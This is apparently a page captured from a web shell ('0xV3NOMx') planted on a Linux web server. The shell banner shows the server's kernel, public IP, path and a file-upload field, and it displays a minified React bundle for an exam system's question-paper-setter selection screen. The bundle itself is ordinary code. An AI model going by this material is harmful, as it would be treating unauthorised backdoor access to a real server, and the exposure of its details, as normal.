0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.17.76.163


Current Path : /var/www/qpms/assets/
Upload File :
Current File : /var/www/qpms/assets/EligibleQpSetter-BiKe0YbA.js

import{v as T,E as i,x as q,r as l,t,D as v,B as S,L as F,G as x}from"./index-Dyw5MJqL.js";import{a as N,t as G,b as H}from"./sem-xL-Ac5nH.js";import{g as M,a as U,d as $}from"./UploadQpPattern-CwFIf_Iq.js";import{g as u,s as y}from"./datatable-DX7-hu0Y.js";import{S as z}from"./index-CzmTCSqS.js";import{R as J}from"./SaveOutlined-vWhIfxmG.js";import{R as W}from"./HomeOutlined-C2tOOkr5.js";import{R as w,C as g}from"./row-T0EnmRWC.js";import{F as K,C as V}from"./Table-CG1LaaQy.js";import"./responsiveObserver-CbmTM_W9.js";import"./index-fA1MKV2E.js";const X=(...a)=>async(r,b)=>{try{let o=localStorage.getItem("dbname");r({type:"SET_LOADER"});const n=await T.get("app.php?a=getEligibleQpSetterts&db="+o+"&deggrp="+a[0]+"&board="+a[1]+"&qpcode="+a[2]+"&type="+a[3]+"&selected="+a[4]);if(r({type:"UNSET_LOADER"}),n.data.error_code===0){const p=n.data.data.map((f,d)=>({...f,key:d,fslno:d+1}));r({type:"ELIGIBLE_QP_SETTER",payload:p})}else r({type:"CLEAR_ELIGIBLE_QP_SETTER",payload:[]})}catch(o){i("error",o.message)}},Y=a=>async(r,b)=>{try{let o=localStorage.getItem("dbname");r({type:"SET_LOADER"});const n=await T.post("app.php?a=saveQpSetters&db="+o,a);r({type:"UNSET_LOADER"}),n.data.error_code===0?i("success",n.data.data.msg):i("info",n.data.data.msg)}catch(o){i("error",o.message)}},Z=a=>{const[r,b]=l.useState(""),[o,n]=l.useState(""),[p,f]=l.useState(""),[d,Q]=l.useState(""),[h,j]=l.useState([]),[E,C]=l.useState("All"),[D,B]=l.useState(!1);l.useEffect(()=>{a.getQpDeggrp()},[]),l.useEffect(()=>{j(a.eligibleQpSetter)},[a.eligibleQpSetter]);const m=async(e,s)=>{console.log(e,s),s==="deggrp"&&(b(e),await a.getQpBoard(e),await a.getAvailableSubjects(e,"All")),s==="board"&&(n(e),await a.getAvailableSubjects(r,e)),s==="qpcode"&&f(e),s==="type"&&Q(e),s==="select"&&C(e)},P=async()=>{if(r==="")return i("info","Please Select Degree Group"),!1;if(o==="")return i("info","Please Select Board"),!1;if(p==="")return i("info","Please Select QP Code"),!1;if(d==="")return i("info","Please Select Type"),!1;await a.getEligibleQpSetterts(r,o,p,d,E),B(!0)},R=a.deggrp.map(e=>({key:e.fdeggrp,label:e.fdescpn,value:e.fdeggrp})),A=a.board.map(e=>({key:e.fboardcode,label:e.fboardname,value:e.fboardcode})),I=[...N,...A],k=a.qpcode.map(e=>({key:e.fqpcode,label:e.fsubname,value:e.fqpcode})),O=(e,s)=>{const c=[...h];c[s].status=e?"T":"F",c[s].changeStatus="T",j(c)},_=[{title:"Sl. No.",dataIndex:"fslno",align:"center",width:"8%"},{title:"Teach. Code",dataIndex:"fteachcode",...u("fteachcode","Teacher code"),sorter:(e,s)=>y(e,s,"fteachcode"),sortDirections:["descend","ascend"],align:"center",width:"15%"},{title:"Teacher Email ID",dataIndex:"femail",...u("femail","Email"),sorter:(e,s)=>y(e,s,"femail"),sortDirections:["descend","ascend"],width:"54%"},{title:"Mobile No.",dataIndex:"fmobile",...u("fmobile","Mobile no."),sorter:(e,s)=>y(e,s,"fmobile"),sortDirections:["descend","ascend"],align:"center",width:"15%"},{title:"Select",render:(e,s)=>t.jsx(V,{checked:s.status==="T",onChange:c=>O(c.target.checked,s.key)}),align:"center",width:"8%"}],L=async()=>{const e=h.filter(c=>c.changeStatus=="T"),s=new FormData;s.append("data",JSON.stringify(e)),s.append("deggrp",r),s.append("board",o),s.append("qpcode",p),s.append("type",d),s.append("userid",a.userid),await a.saveQpSetters(s)};return t.jsxs(v,{style:{margin:"6rem 10px 10px"},title:t.jsx("h6",{children:"Eligible QP Setters (BOE)"}),extra:t.jsxs(z,{children:[t.jsxs(S,{type:"primary",onClick:()=>L(),children:[t.jsx(J,{})," Save"]}),t.jsx(F,{to:"/",children:t.jsxs(S,{type:"primary",danger:!0,children:[t.jsx(W,{})," Exit"]})})]}),children:[t.jsxs(w,{gutter:16,children:[t.jsxs(g,{xs:24,sm:24,md:12,lg:8,xl:8,xxl:8,children:[t.jsx("label",{children:"Exam"}),t.jsx(x,{showSearch:!0,optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:r,options:R,onChange:e=>m(e,"deggrp")})]}),t.jsxs(g,{xs:24,sm:24,md:12,lg:8,xl:8,xxl:8,children:[t.jsx("label",{children:"Board"}),t.jsx(x,{showSearch:!0,optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:o,options:I,onChange:e=>m(e,"board")})]}),t.jsxs(g,{xs:24,sm:24,md:12,lg:8,xl:8,xxl:8,children:[t.jsx("label",{children:"Subject"}),t.jsx(x,{showSearch:!0,optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:p,options:k,onChange:e=>m(e,"qpcode")})]})]}),t.jsxs(w,{gutter:16,children:[t.jsxs(g,{xs:24,sm:24,md:12,lg:8,xl:8,xxl:8,children:[t.jsx("label",{children:"Type"}),t.jsx(x,{showSearch:!0,optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:d,options:G,onChange:e=>m(e,"type")})]}),t.jsxs(g,{xs:24,sm:24,md:12,lg:8,xl:8,xxl:8,children:[t.jsx("label",{children:"Select"}),t.jsx(x,{showSearch:!0,optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:E,options:H,onChange:e=>m(e,"select")})]}),t.jsxs(g,{xs:24,sm:24,md:12,lg:6,xl:6,xxl:6,children:[t.jsx("p",{style:{marginTop:"20px"}}),t.jsx(S,{type:"primary",style:{marginBottom:"10px"},onClick:()=>P(),children:"Submit"})]})]}),D&&t.jsx(K,{dataSource:h,columns:_,bordered:!0,scroll:{y:300,x:1e3},style:{marginTop:"20px"},size:"small"})]})},ee=a=>({deggrp:a.deggrp,board:a.board,qpcode:a.availableSubjects,eligibleQpSetter:a.eligibleQpSetter,userid:a.loginfo.userData.fmobile}),ge=q(ee,{getQpDeggrp:M,getQpBoard:U,getAvailableSubjects:$,getEligibleQpSetterts:X,saveQpSetters:Y})(Z);export{ge as default};